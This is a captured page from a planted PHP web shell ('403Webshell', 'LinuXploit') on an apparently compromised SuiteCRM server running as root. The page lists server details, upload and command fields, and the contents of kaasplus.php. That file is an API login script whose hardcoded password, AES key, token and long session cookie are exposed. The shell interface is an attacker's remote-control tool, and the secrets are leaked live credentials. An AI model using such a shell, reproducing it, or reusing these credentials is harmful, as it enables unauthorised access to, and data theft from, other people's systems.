403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.122
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/soltelcocrm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/soltelcocrm/kaasplus.php
<?php

$curl = curl_init();

curl_setopt_array($curl, array(
  CURLOPT_URL => 'https://172.22.22.178/createToken',
  CURLOPT_PORT => 9090,
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => '',
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 0,
  CURLOPT_FOLLOWLOCATION => true,
  CURLOPT_SSL_VERIFYPEER => false,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => 'POST',
  CURLOPT_POSTFIELDS =>'{
  "PayLoad": {
    "firstName": "crm",
    "sessionId": null
  },
  "requestType": "LOGIN"
}',
  CURLOPT_HTTPHEADER => array(
    'Content-Type: application/json'
  ),
));

$response = curl_exec($curl);
$arrResponse = json_decode($response,true);
curl_close($curl);
$token =$arrResponse['payload']['token'];
//$token = '90gI7XA5rpAZFNNcey9AH7WXbl22hGbN';
echo $token."<br>";
exit;
/*echo '<input type="hidden" name="enctoken" value="" id="enctoken">';
echo '<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/aes.js"></script>';
echo  '<script type="text/JavaScript"> 
        

          var loginRequest = {};
          var loginPayLoad = {};

          loginPayLoad["username"] = "crm";
          loginPayLoad["password"] = "Abc123@@";
          loginPayLoad["neverExpire"] = true;

          var token2 = CryptoJS.AES.encrypt(JSON.stringify(loginPayLoad), "'.$token.'").toString();
          console.log(token2);
          document.getElementById("enctoken").value=token2;

      </script>';
$newToken1 = '<script>document.getElementById("enctoken").value</script>';*/
/*$data = array("username" => 'admin','password' => 'admin',"neverExpire" => true);

$data = json_encode($data);*/
/*define('AES_256_CBC', 'aes-256-cbc');
echo $encryption_key = 'yvn71YM4mLEcIjH8gsXUOYacB6CRVNPU';
$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length(AES_256_CBC));
echo "encrypted token :";
echo $encrypted = openssl_encrypt($data, AES_256_CBC, $encryption_key, 0, $iv);*/
/*echo "<br>";*/
 
/*$textToEncrypt = "My super secret information.";
$encryptionMethod = "AES-256-CBC";  // AES is used by the U.S. gov't to encrypt top secret documents.
$secretHash = "yvn71YM4mLEcIjH8gsXUOYacB6CRVNPU";

//To encrypt
$encryptedMessage = openssl_encrypt($data, $encryptionMethod, $secretHash);

//To Decrypt
$decryptedMessage = openssl_decrypt($encryptedMessage, $encryptionMethod, $secretHash);

//Result
echo "Encrypted: $encryptedMessage <br>Decrypted: $decryptedMessage";*/


/*$curl = curl_init();

curl_setopt_array($curl, array(
  CURLOPT_URL => 'https://172.22.22.178/login',
  CURLOPT_PORT => 9090,
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => '',
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 0,
  CURLOPT_FOLLOWLOCATION => true,
  CURLOPT_SSL_VERIFYPEER => false,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => 'POST',
  CURLOPT_POSTFIELDS =>'{
  "PayLoad": "'.$newToken1 = '<'.'",
  "sessionId": null,
  "requestType": "LOGIN"
}',
  CURLOPT_HTTPHEADER => array(
    'Content-Type: application/json'
  ),
));
$response = curl_exec($curl);
$arrResponse = json_decode($response,true);
echo "<pre>";
print_r($arrResponse);
curl_close($curl);*/



$curl = curl_init();

curl_setopt_array($curl, array(
  CURLOPT_URL => 'https://172.22.22.178/login',
   CURLOPT_PORT => 9090,
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => '',
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 0,
  CURLOPT_FOLLOWLOCATION => true,
   CURLOPT_SSL_VERIFYPEER => false,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => 'POST',
  CURLOPT_POSTFIELDS =>'{
  "PayLoad": "U2FsdGVkX1/C6vBNVp0YOHm+uEQVYB4W8MHQ5qUTjPmb8iFhORkyTs/miGIKbP52I7ihl02GAPH7Acx1OsFjgnRCHebmWNFeMNuvFehJ0Mo=",
  "sessionId": null,
  "requestType": "LOGIN"
}',
  CURLOPT_HTTPHEADER => array(
    'Content-Type: application/json',
    'Cookie: encrypt=false; safariCBSGUI=s%3AwEGiVZxpr0.X4SWnidkPMqzAksbI0EbvhETmSMOqNt7sYpQ6Mu1I%2Bs; token=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'
  ),
));

$response = curl_exec($curl);
curl_close($curl);
echo "<pre>";
print_r($response);

?>


Youez - 2016 - github.com/yon3zu
LinuXploit